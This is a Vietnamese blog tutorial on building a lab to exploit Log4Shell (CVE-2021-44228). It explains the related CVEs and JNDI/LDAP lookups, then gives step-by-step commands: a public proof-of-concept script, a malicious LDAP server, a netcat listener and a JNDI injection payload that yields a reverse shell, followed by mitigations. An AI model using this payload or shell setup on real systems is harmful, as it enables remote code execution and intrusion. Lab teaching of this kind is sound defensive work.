Hướng dẫn Thiết lập mô hình Lab để Kiểm tra thâm nhập Log4J

(Nguồn HA) Trong bài viết này, chúng ta sẽ thảo luận và chứng minh trong thiết lập phòng thí nghiệm log4j , việc khai thác lỗ hổng bảo mật mới được xác định là CVE-2021-44228 ảnh hưởng đến gói ghi nhật ký java, Log4J. Lỗ hổng này có điểm số mức độ nghiêm trọng là 10,0 , chỉ định quan trọng nhất và cung cấp khả năng thực thi mã từ xa trên các máy chủ tương tác với phần mềm sử dụng tiện ích log4j. Cuộc tấn công này còn được gọi là “Log4Shell”.

Mục lục

  1. Log4jShell
  2. Log4j là gì
  3. LDAP và JNDI là gì
  4. LDAP và JNDI Chemistry
  5. Tra cứu Log4j JNDI
  6. Kịch bản Log4j bình thường
  7. Khai thác tình huống Log4j
  8. Thiết lập phòng thí nghiệm Pentest
  9. Khai thác Log4j (CVE-2021-44228)
  10. Giảm nhẹ

Log4jshell

CVE-2021-44228

Mô tả: Các tính năng JNDI của Apache Log4j2 2.0-beta9 đến 2.12.1 và 2.13.0 đến 2.15.0 được sử dụng trong cấu hình, thông báo nhật ký và các tham số không bảo vệ LDAP khỏi kẻ tấn công . Chúng có thể kiểm soát thông báo nhật ký hoặc tham số thông báo nhật ký có thể thực thi mã tùy ý được tải từ máy chủ LDAP khi thay thế tra cứu thông báo được bật.

Loại lỗ hổng bảo mật           Thực thi mã từ xa

Mức độ nghiêm trọng cực kì, tới hạn

Điểm CVSS cơ sở                10,0

Các phiên bản bị ảnh hưởng           Tất cả các phiên bản từ 2.0-beta9 đến 2.14.1

CVE-2021-45046

Chúng tôi nhận thấy rằng bản sửa lỗi cho địa chỉ CVE-2021-44228 trong Apache Log4j 2.15.0 chưa hoàn thành trong một số cấu hình không phải mặc định. Khi cấu hình ghi nhật ký sử dụng Bố cục mẫu không mặc định với Tra cứu ngữ cảnh (ví dụ: $$ {ctx: loginId}), những kẻ tấn công có quyền kiểm soát dữ liệu đầu vào Bản đồ ngữ cảnh luồng (MDC) có thể tạo dữ liệu đầu vào độc hại bằng mẫu Tra cứu JNDI , dẫn đến rò rỉ thông tin và thực thi mã từ xa trong một số môi trường và thực thi mã cục bộ trong tất cả các môi trường; thực thi mã từ xa đã được chứng minh trên macOS nhưng không có môi trường được thử nghiệm nào khác.

Loại lỗ hổng bảo mật           Thực thi mã từ xa

Mức độ nghiêm    trọng tới hạn

Điểm CVSS cơ sở                9,0

Các phiên bản bị ảnh hưởng            Tất cả các phiên bản từ 2.0-beta9 đến 2.15.0, ngoại trừ 2.12.2

CVE-2021-45105

Apache Log4j2 phiên bản 2.0-alpha1 đến 2.16.0 không bảo vệ khỏi đệ quy không kiểm soát khỏi các tra cứu tự tham chiếu. Khi cấu hình ghi nhật ký sử dụng Bố cục mẫu không mặc định với Tra cứu ngữ cảnh (ví dụ: $$ {ctx: loginId}), những kẻ tấn công có quyền kiểm soát dữ liệu đầu vào (MDC) có thể tạo dữ liệu đầu vào độc hại chứa tra cứu đệ quy , dẫn đến lỗi StackOverflowError sẽ kết thúc quá trình. Đây còn được gọi là một cuộc tấn công DOS (Từ chối Dịch vụ).

Loại lỗ hổng           từ chối dịch vụ

Mức độ nghiêm trọng                               cao

Điểm CVSS cơ sở                7,5

Các phiên bản bị ảnh hưởng            Tất cả các phiên bản từ 2.0-beta9 đến 2.16.0

Log4J là gì.

Log4j là một tiện ích ghi nhật ký dựa trên Java, là một phần của Dịch vụ ghi nhật ký Apache. Log4j là một trong số các khung ghi nhật ký Java được hàng triệu ứng dụng Java trên internet sử dụng phổ biến.

LDAP và JNDI là gì

LDAP (Lightweight Directory Access Protocol) là một giao thức mở và đa nền tảng được sử dụng để xác thực dịch vụ thư mục. Nó cung cấp ngôn ngữ giao tiếp mà ứng dụng sử dụng để giao tiếp với các dịch vụ thư mục khác. Các dịch vụ thư mục lưu trữ nhiều thông tin quan trọng như chi tiết tài khoản người dùng, mật khẩu, tài khoản máy tính, v.v. được chia sẻ với các thiết bị khác trên mạng.

JNDI (Java Naming and Directory Interface) là một giao diện lập trình ứng dụng (API) cung cấp chức năng đặt tên và thư mục cho các ứng dụng được viết bằng Ngôn ngữ lập trình Java.

JNDI và LDAP

JNDI cung cấp một API tiêu chuẩn để tương tác với các dịch vụ tên và thư mục bằng cách sử dụng giao diện cung cấp dịch vụ (SPI). JNDI cung cấp cho các ứng dụng và đối tượng Java với giao diện mạnh mẽ và minh bạch để truy cập các dịch vụ thư mục như LDAP. Bảng dưới đây cho thấy các hoạt động tương đương LDAP và JNDI phổ biến.

Tra cứu Log4J JNDI

Tra cứu là một cơ chế thêm giá trị vào cấu hình log4j ở những vị trí tùy ý. Log4j có khả năng thực hiện nhiều tra cứu như bản đồ, thuộc tính hệ thống và tra cứu JNDI (Java Naming and Directory Interface).

Log4j sử dụng API JNDI để nhận các dịch vụ đặt tên và thư mục từ một số cung cấp dịch vụ có sẵn như : LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), v.v. nếu chức năng này được triển khai, thì chúng ta nên đặt dòng mã này ở đâu đó trong chương trình: $ {jndi: logging / context-name}

Một kịch bản Log4J Bình thường

Sơ đồ trên cho thấy một kịch bản log4j bình thường.

Khai thác tình huống Log4j

Kẻ tấn công có thể kiểm soát thông báo nhật ký hoặc tham số thông báo nhật ký có thể thực thi mã tùy ý trên máy chủ dễ bị tấn công được tải từ máy chủ LDAP khi thay thế tra cứu thông báo được bật. Do đó, kẻ tấn công có thể đưa ra một yêu cầu đặc biệt khiến tiện ích được tải xuống từ xa và thực thi tải trọng.

 Dưới đây là ví dụ phổ biến nhất sử dụng kết hợp JNDI và LDAP: $ {jndi: ldap: // <host>: <port> / <payload>}

  1. Kẻ tấn công chèn tra cứu JNDI vào trường tiêu đề có khả năng được ghi lại.
  2. Chuỗi được chuyển tới log4j để ghi nhật ký.
  3. Log4j nội suy chuỗi và truy vấn máy chủ LDAP độc hại.
  4. Máy chủ LDAP phản hồi bằng thông tin thư mục có chứa Lớp Java độc hại.
  5. Java deserialize (hoặc tải xuống) Lớp Java độc hại và thực thi nó.

Thiết lập phòng thí nghiệm Pentest

Trong thiết lập phòng thí nghiệm, chúng tôi sẽ sử dụng Kali VM làm máy tấn công và máy ảo Ubuntu làm máy mục tiêu. Vì vậy, chúng ta hãy chuẩn bị máy ubuntu. 

#git clone https : //github.com/kozmer/log4j-shell-poc.git

Khi lệnh git clone đã được hoàn thành, hãy duyệt đến thư mục log4j-shell-poc: Khi đã ở bên trong thư mục đó, ta có thể thực thi lệnh docker:

#cd log4j-shell-poc

#docker build -t log4j-shell-poc.

Sau đó, chạy lệnh thứ hai trên trang github:

#docker run –network host log4j-shell-poc

Các lệnh này sẽ cho phép ta sử dụng tệp docker với một ứng dụng dễ bị tấn công.

Sau khi hoàn thành, các bạn đã sẵn sàng máy chủ ứng dụng web dễ bị tấn công. Bây giờ chúng ta hãy duyệt đến địa chỉ IP đích trong trình duyệt kali của chúng ta tại cổng 8080 .

… đây là ứng dụng dễ bị tấn công bởi docker và khu vực bị ảnh hưởng bởi lỗ hổng này là trường tên người dùng.   Đã đến lúc thực hiện cuộc tấn công.

Khai thác Log4j (CVE-2021-44228)

Trên máy kali, chúng ta cần sao chép cùng một kho lưu trữ. Vì vậy, hãy gõ lệnh sau:

#git clone https : //github.com/kozmer/log4j-shell-poc.git

Bây giờ chúng ta cần cài đặt phiên bản JDK. Điều này có thể được tải xuống tại liên kết sau.

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Nhấp vào phiên bản chính xác và tải xuống phiên bản đó bên trong Kali Linux.

Bây giờ hãy chuyển đến thư mục tải xuống và giải nén tệp đó bằng cách thực hiện lệnh sau đó di chuyển tệp đã giải nén vào thư mục / usr / bin

#tar -xf jdk-8u202-linux-x64.tar.gz

#mv jdk-8u202 /usr/bin

$cd /usr/bin

Sau khi được xác minh, hãy thoát khỏi thư mục này và duyệt đến thư mục log4j-shell-poc . Thư mục đó chứa tập lệnh python, poc.py mà chúng ta sẽ định cấu hình theo cài đặt thiết lập phòng thí nghiệm của mình. Ở đây bạn cần sửa đổi ‘ ./jdk1.8.2.20/ ‘ thành ‘ /usr/bin/jdk1.8.0_202/  như được đánh dấu. những gì cần làm ở đây là thay đổi đường dẫn của vị trí java và phiên bản java trong tập lệnh.

Bây giờ tất cả các thay đổi đã được thực hiện, hãy lưu tệp và sẵn sàng bắt đầu cuộc tấn công. Trong máy kẻ tấn công Kali Linux, chúng ta sẽ truy cập ứng dụng webapp dễ bị tấn công bên trong trình duyệt bằng cách nhập IP của máy ubuntu: 8080

Bây giờ , hãy khởi tạo trình nghe netcat và bắt đầu cuộc tấn công.

Gõ lệnh sau

#python3 poc. py –userip 192.168 . 29 . 163 –webport 8000 –lport 9001

trong một thiết bị đầu cuối. Đảm bảo rằng bạn đang ở trong thư mục log4j-shell-poc khi thực hiện lệnh.

Tập lệnh này đã khởi động máy chủ LDAP cục bộ độc hại.

Bây giờ, hãy Sao chép toàn bộ lệnh sau khi gửi :

$ { jndi: ldap : //192.168.29.163: 1389 / a}

dán nó vào bên trong trình duyệt trong trường tên người dùng. Đây sẽ là payload, và trong trường mật khẩu, bạn có thể cung cấp bất cứ thứ gì.

Bấm vào nút đăng nhập để thực hiện payload. Sau đó, chuyển sang các cửa sổ netcat, nơi chúng ta sẽ nhận được một trình bao ngược lại.

Cuối cùng thì chúng ta cũng đã vào được hình ảnh docker ứng dụng web dễ bị tấn công đó.

Giảm nhẹ

CVE-2021-44228: Đã sửa trong Log4j 2.15.0 (Java 8)

Thực hiện một trong các kỹ thuật giảm thiểu sau:

  • Người dùng Java 8 (hoặc mới hơn) nên nâng cấp lên phiên bản 2.16.0.
  • Người dùng Java 7 nên nâng cấp lên phiên bản 2.12.2.
  • Nếu không, trong bất kỳ bản phát hành nào ngoài 2.16.0, bạn có thể xóa lớp JndiLookup khỏi classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup.class
  • Người dùng được khuyến cáo không nên kích hoạt JNDI trong Log4j 2.16.0. Nếu cần có JMS Appender, hãy sử dụng Log4j 2.12.2

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s